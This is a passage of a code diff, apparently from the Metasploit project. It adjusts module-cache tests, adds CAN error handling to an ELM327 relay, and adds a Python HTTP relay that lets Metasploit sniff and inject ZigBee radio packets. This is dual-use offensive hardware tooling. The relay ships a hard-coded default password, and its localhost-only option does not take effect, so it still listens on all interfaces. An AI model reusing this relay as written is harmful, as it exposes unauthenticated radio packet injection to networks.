'returns the sms message' do + expect(subject.to_s).to include(message) + end + end + +end diff --git a/spec/support/shared/examples/msf/module_manager/cache.rb b/spec/support/shared/examples/msf/module_manager/cache.rb index 4d1a53d345..9324bd9548 100644 --- a/spec/support/shared/examples/msf/module_manager/cache.rb +++ b/spec/support/shared/examples/msf/module_manager/cache.rb @@ -166,9 +166,9 @@ RSpec.shared_examples_for 'Msf::ModuleManager::Cache' do end it 'should enumerate loaders until if it find the one where loadable?(parent_path) is true' do - module_manager.send(:loaders).each do |loader| - expect(loader).to receive(:loadable?).with(parent_path).and_call_original - end + # Only the first one gets it since it finds the module + loader = module_manager.send(:loaders).first + expect(loader).to receive(:loadable?).with(parent_path).and_call_original load_cached_module end @@ -188,9 +188,9 @@ RSpec.shared_examples_for 'Msf::ModuleManager::Cache' do context 'return from load_module' do before(:example) do - module_manager.send(:loaders).each do |loader| - expect(loader).to receive(:load_module).and_return(module_loaded) - end + # Only the first one gets it since it finds the module + loader = module_manager.send(:loaders).first + expect(loader).to receive(:load_module).and_return(module_loaded) end context 'with false' do @@ -394,12 +394,6 @@ RSpec.shared_examples_for 'Msf::ModuleManager::Cache' do expect(module_info_by_path).to have_key(path) end - it 'should use Msf::Modules::Loader::Base.typed_path to derive parent_path' do - expect(Msf::Modules::Loader::Base).to receive(:typed_path).with(type, reference_name).at_least(:once).and_call_original - - module_info_by_path_from_database! - end - context 'cache entry' do subject(:cache_entry) do module_info_by_path[path] diff --git a/tools/hardware/elm327_relay.rb b/tools/hardware/elm327_relay.rb index 4f5f11c40f..bb3717b3d7 100755 --- a/tools/hardware/elm327_relay.rb +++ b/tools/hardware/elm327_relay.rb @@ -249,6 +249,10 @@ module ELM327HWBridgeRelay send_cmd(data) @packets_sent += 1 @last_sent = Time.now() + if resp == "CAN ERROR" + result["success"] = false + return result + end result["success"] = true result end @@ -273,6 +277,10 @@ module ELM327HWBridgeRelay resp = send_cmd(data) @packets_sent += 1 @last_sent = Time.now() + if resp == "CAN ERROR" + result["success"] = false + return result + end result["Packets"] = [] resp.split(/\r/).each do |line| pkt = {} diff --git a/tools/hardware/killerbee_msfrelay b/tools/hardware/killerbee_msfrelay new file mode 100755 index 0000000000..e3403f54cc --- /dev/null +++ b/tools/hardware/killerbee_msfrelay @@ -0,0 +1,251 @@ +#!/usr/bin/env python +# KillerBee Metasploit relay server + +import re +import os +import sys +import cmd +import time +import json +import base64 +import socket +import threading +import pkg_resources # Used to get killerbee version + +from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer +from urlparse import parse_qs,urlparse +from killerbee import * + +last_errors = 0 +starttime = 0 +packets_sent = 0 +last_sent = 0 +username = None +password = None +kb = None + +class MSFHandler(BaseHTTPRequestHandler): + def status(self): + status = {} + hw_versions = [] + fw_version = pkg_resources.get_distribution("killerbee").version + device_names = [] + for dev in kbutils.devlist(): + hw_versions.append(dev[2]) + device_names.append(dev[1]) + if len(hw_versions) > 0: + status["operational"] = 1 + else: + status["operational"] = 0 + status["hw_specialty"] = { "zigbee": True } + # TODO: We should check firmware before reporting transmit capabilities + status["hw_capabilities"] = { "transmit": True} + status["last_10_errors"] = last_errors + status["api_version"] = "0.0.3" + status["fw_version"] = fw_version + if len(hw_versions) == 1: + status["hw_version"] = hw_versions[0] + status["device_name"] = device_names[0] + elif len(hw_versions) > 1: + status["hw_version"] = ', '.join(hw_versions) + status["device_name"] = ', '.join(device_names) + else: + status["hw_version"] = "Not Supported" + return status + + def statistics(self): + global packets_sent + stats = {} + stats["uptime"] = int(time.time()) - starttime + stats["packet_stats"] = packets_sent + stats["last_request"] = last_sent + stats["voltage"] = "0.0v" + return stats + + def datetime(self): + return { "sytem_datetime": int(time.time()) } + + def timezone(self): + return { "system_timezone": time.strftime("%Z") } + + def set_channel(self, args): + if not "chan" in args: + return self.not_supported() + chan = int(args["chan"][0]) + kb.set_channel(chan) + return { "success": True } + + def inject(self, args): + global packets_sent + if not "data" in args: + return self.not_supported() + try: + kb.inject(base64.urlsafe_b64decode(args["data"][0])) + packets_sent+=1 + except Exception, e: + print("ERROR: Unable to inject packet: {0}".format(e)) + return { "success": False } + return { "success": True } + + def recv(self): + pkt = kb.pnext() + if pkt != None and pkt[1]: + return {"data": base64.urlsafe_b64encode(pkt[0]), "valid_crc": pkt[1], "rssi": pkt[2] } + return {} + + def sniffer_off(self): + kb.sniffer_off() + return {"success": True } + + def sniffer_on(self): + kb.sniffer_on() + return {"success": True } + + def supported_devices(self): + devices = [] + for dev in kbutils.devlist(): + devices.append(dev[0]) + return { "devices": devices } + + def not_supported(self): + return { "status": "not supported" } + + def send(self, data, resp=200): + self.send_response(resp) + self.send_header('Content-type','application/json') + self.end_headers() + self.wfile.write(json.dumps(data)) + return + + def do_AUTHHEAD(self): + self.send_response(401) + self.send_header('WWW-Authenticate', 'Basic realm=\"Killerbee MSF Relay\"') + self.send_header('Content-type', 'text/html') + self.end_headers() + self.wfile.write("Please Authenticate") + + def do_GET(self): + if not password == None: + if self.headers.getheader('Authorization') == None: + print("Did not authenticate") + self.do_AUTHHEAD() + return + if not self.headers.getheader('Authorization') == 'Basic '+base64.b64encode(username + ":" + password): + print("Bad Authentication") + self.do_AUTHHEAD() + return + url = urlparse(self.path) + args = parse_qs(url.query) + if self.path=="/status": + self.send(self.status()) + elif self.path=="/statistics": + self.send(self.statistics()) + elif self.path=="/settings/datetime": + self.send(self.datetime()) + elif self.path=="/settings/timezone": + self.send(self.timezone()) + elif self.path=="/zigbee/supported_devices": + self.send(self.supported_devices()) + elif self.path.startswith("/zigbee/"): + re_dev = re.compile("/zigbee/([\d\w:]+)/") + m = re_dev.match(self.path) + if m: + dev = m.group(1) + if self.path.find("/set_channel?") > -1: + self.send(self.set_channel(args)) + elif self.path.find("/inject?") > -1: + self.send(self.inject(args)) + elif self.path.find("/recv") > -1: + self.send(self.recv()) + elif self.path.find("/sniffer_off") > -1: + self.send(self.sniffer_off()) + elif self.path.find("/sniffer_on") > -1: + self.send(self.sniffer_on()) + else: + self.send(self.not_supported(), 404) + else: + self.send(self.not_supported(), 404) + else: + self.send(self.not_supported(), 404) + return + +class Killerbee_MSFRelay(cmd.Cmd): + intro = """ + KillerBee Metasploit Relay +""" + + def __init__(self, ip='0.0.0.0', port=8080): + cmd.Cmd.__init__(self) + + self._ip = ip + self._port = port + self._sock = None + self._pause = False + + self.start() + + def start(self): + self._go = True + while self._go: + # serve the NIC port + try: + self._sock = HTTPServer((self._ip, self._port), MSFHandler) + starttime = int(time.time()) + print("KillerBee MSFRelay running.") + self._sock.serve_forever() + except KeyboardInterrupt: + self._sock.socket.close() + self._go = False + except: + sys.excepthook(*sys.exc_info()) + +if __name__ == "__main__": + import argparse + + parser = argparse.ArgumentParser() + parser.add_argument('-i', '--iface', '--dev', action='store', dest='devstring') + parser.add_argument('-u', '--user', default="msf_relay", help='HTTP Username', type=str) + parser.add_argument('-p', '--password', default="rfcat_relaypass", help='HTTP Password', type=str) + parser.add_argument('-P', '--Port', default=8080, type=int) + parser.add_argument('--noauth', default=False, action="store_true", help='Do not require authentication') + parser.add_argument('--localonly', default=False, action="store_true", help='Listen on localhost only') + + ifo = parser.parse_args() + + try: + kb = KillerBee(device=ifo.devstring) + except KBInterfaceError as e: + print("Interface Error: {0}".format(e)) + sys.exit(-1) + + username = ifo.user + password = ifo.password + ip = "0.0.0.0" + port = ifo.Port + if ifo.noauth: + username = None + password = None + if ifo.localonly: + host = "127.0.0.1" + + wait_msg = False + dev_found = False + while not dev_found: + try: + devs = kbutils.devlist() + if len(devs) > 0: + dev_found = True + elif not wait_msg: + print("Insert KillerBee compatible ZigBee device. (You may need to add permissions)") + wait_msg = True + except KeyboardInterrupt: + sys.exit() + except: + if not wait_msg: + print("Insert KillerBee compatible ZigBee device. (You may need to add permissions)") + wait_msg = True + + beerelay = Killerbee_MSFRelay(ip, port) + +import atexit +atexit.register(cleanupInteractiveAtExit)